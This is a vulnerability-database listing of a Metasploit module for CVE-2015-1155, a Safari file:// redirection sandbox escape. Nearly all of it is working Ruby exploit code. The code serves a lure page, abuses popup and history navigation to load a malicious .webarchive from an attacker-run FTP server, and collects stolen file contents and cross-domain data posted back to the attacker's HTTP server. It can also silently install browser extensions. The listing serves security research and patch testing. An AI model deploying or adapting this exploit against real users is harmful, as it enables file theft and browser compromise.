Lucene search
K

Mac OS X Safari file:// Redirection Sandbox Escape

🗓️ 31 Aug 2024 00:00:00Reported by joev, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 193 Views

Mac OS X Safari file:// Redirection Sandbox Escape - Vulnerability in Safari versions before 8.0.6, 7.1.6, and 6.2.6 allows malicious .webarchive file to read files, inject cross-domain Javascript and install Safari extensions

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::Format::Webarchive  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape',  
'Description' => %q{  
Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a  
"state management issue" that allows a browser window to be navigated  
to a file:// URL. By dropping and loading a malicious .webarchive file,  
an attacker can read arbitrary files, inject cross-domain Javascript, and  
silently install Safari extensions.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'joev' # discovery, module  
],  
'References' => [  
['ZDI', '15-228'],  
['CVE', '2015-1155'],  
['URL', 'https://support.apple.com/en-us/HT204826']  
],  
'Platform' => 'osx',  
'DisclosureDate' => '2014-01-16'  
))  
  
  
register_options([  
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),  
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]),  
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080])  
])  
end  
  
def lookup_lhost(c=nil)  
# Get the source address  
if datastore['SRVHOST'] == '0.0.0.0'  
Rex::Socket.source_address( c || '50.50.50.50')  
else  
datastore['SRVHOST']  
end  
end  
  
def on_request_uri(cli, req)  
if req.method =~ /post/i  
data_str = req.body.to_s  
begin  
data = JSON::parse(data_str || '')  
file = record_data(data, cli)  
send_response(cli, '')  
print_good "data #{data.keys.join(',')} received and stored to #{file}"  
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up  
file = record_data(data_str, cli)  
print_error "Invalid JSON stored in #{file}"  
send_response(cli, '')  
end  
elsif req.uri =~ /#{popup_path}$/  
send_response(cli, 200, 'OK', popup_html)  
else  
send_response(cli, 200, 'OK', exploit_html)  
end  
end  
  
def ftp_user  
@ftp_user ||= Rex::Text.rand_text_alpha(6)  
end  
  
def ftp_pass  
@ftp_pass ||= Rex::Text.rand_text_alpha(6)  
end  
  
def exploit_html  
%Q|  
<html><body>  
<script>  
window.onclick = function() {  
window.open(window.location+'/#{popup_path}', 'x', 'width=1,height=1');  
}  
</script>  
The page has moved. <a href='#'>Click here</a> to be redirected.  
</body></html>  
|  
end  
  
def ftp_url  
"ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}"  
end  
  
def popup_html  
%Q|  
<script>  
  
function perform() {  
if (arguments.length > 0) {  
var nextArgs = Array.prototype.slice.call(arguments, 1);  
arguments[0]();  
setTimeout(function() {  
perform.apply(null, nextArgs);  
}, 300);  
}  
}  
  
perform(  
function() { opener.location = 'http://localhost:99999'; },  
function() { history.pushState.call(opener.history, {}, {}, 'file:///'); },  
function() { opener.location = 'about:blank' },  
function() { opener.history.back(); },  
function() { window.location = '#{ftp_url}'; },  
function() { opener.location = 'http://localhost:99998'; },  
function() {  
history.pushState.call(  
opener.history, {}, {},  
'file:///Volumes/#{lookup_lhost}/#{payload_name}'  
);  
},  
function() { opener.location = 'about:blank'; },  
function() { opener.history.back(); },  
function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } }  
)  
  
</script>  
|  
end  
  
#  
# Handle FTP LIST request (send back the directory listing)  
#  
def on_client_command_list(c, arg)  
conn = establish_data_connection(c)  
if not conn  
c.put("425 Can't build data connection\r\n")  
return  
end  
  
print_status("Data connection setup")  
c.put("150 Here comes the directory listing\r\n")  
  
print_status("Sending directory list via data connection #{webarchive_size}")  
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']  
m = month_names[Time.now.month-1]  
d = Time.now.day  
y = Time.now.year  
  
dir = "-rwxr-xr-x 1 ftp ftp #{webarchive_size} #{m} #{d} #{y} #{payload_name}\r\n"  
print_status dir  
conn.put(dir)  
conn.close  
  
print_status("Directory sent ok")  
c.put("226 Transfer ok\r\n")  
  
return  
end  
  
#  
# Handle the FTP RETR request. This is where we transfer our actual malicious payload  
#  
def on_client_command_retr(c, arg)  
conn = establish_data_connection(c)  
if not conn  
return c.put("425 can't build data connection\r\n")  
end  
  
print_status("Connection for file transfer accepted")  
c.put("150 Connection accepted\r\n")  
  
# Send out payload  
conn.put(webarchive)  
conn.close  
end  
  
def volume_name  
@volume_name ||= Rex::Text.rand_text_alpha(12)  
end  
  
def payload_name  
'msf.webarchive'  
end  
  
def popup_path  
@popup_uri ||= Rex::Text.rand_text_alpha(12)  
end  
  
def webarchive  
webarchive_xml  
end  
  
def webarchive_size  
print_status "Webarchive_SiZE=#{webarchive_xml.length}"  
webarchive_xml.length  
end  
  
def run  
# Start the FTP server  
print_status("Running FTP service...")  
start_service  
  
# Create our own HTTP server  
# We will stay in this function until we manually terminate execution  
start_http  
end  
  
#  
# Handle the HTTP request and return a response. Code borrorwed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http(opts={})  
# Ensture all dependencies are present before initializing HTTP  
use_zlib  
  
comm = datastore['ListenerComm']  
if (comm.to_s == "local")  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
# Default the server host / port  
opts = {  
'ServerHost' => datastore['SRVHOST'],  
'ServerPort' => datastore['HTTPPORT'],  
'Comm' => comm  
}.update(opts)  
  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
opts['ServerPort'].to_i,  
opts['ServerHost'],  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self,  
},  
opts['Comm'],  
datastore['SSLCert']  
)  
  
@http_service.server_name = datastore['HTTP::server_name']  
  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
  
proto = (datastore["SSL"] ? "https" : "http")  
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  
  
if (opts['ServerHost'] == '0.0.0.0')  
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")  
end  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
  
# As long as we have the http_service object, we will keep the ftp server alive  
while @http_service  
select(nil, nil, nil, 1)  
end  
end  
  
#  
# Ensures that gzip can be used. If not, an exception is generated. The  
# exception is only raised if the DisableGzip advanced option has not been  
# set.  
#  
def use_zlib  
if !Rex::Text.zlib_present? && datastore['HTTP::compression']  
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")  
end  
end  
  
#  
# Returns the configured (or random, if not configured) URI path  
#  
def resource_uri  
path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))  
path = '/' + path if path !~ /^\//  
datastore['URIPATH'] = path  
return path  
end  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message='OK', html='')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res['Content-Type'] = 'text/html'  
res.body = html  
  
cli.send_response(res)  
end  
  
# @param [Hash] data the data to store in the log  
# @return [String] filename where we are storing the data  
def record_data(data, cli)  
name = if data.is_a?(Hash) then data.keys.first else 'data' end  
file = File.basename(name).gsub(/[^A-Za-z]/,'')  
store_loot(  
file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"  
)  
end  
  
#  
# Kill HTTP/FTP (shut them down and clear resources)  
#  
def cleanup  
super  
  
# Kill FTP  
cleanup_service  
  
# clear my resource, deregister ref, stop/close the HTTP socket  
begin  
@http_service.remove_resource(datastore['URIPATH'])  
@http_service.deref  
@http_service = nil  
rescue  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 24.3
EPSS0.10946
193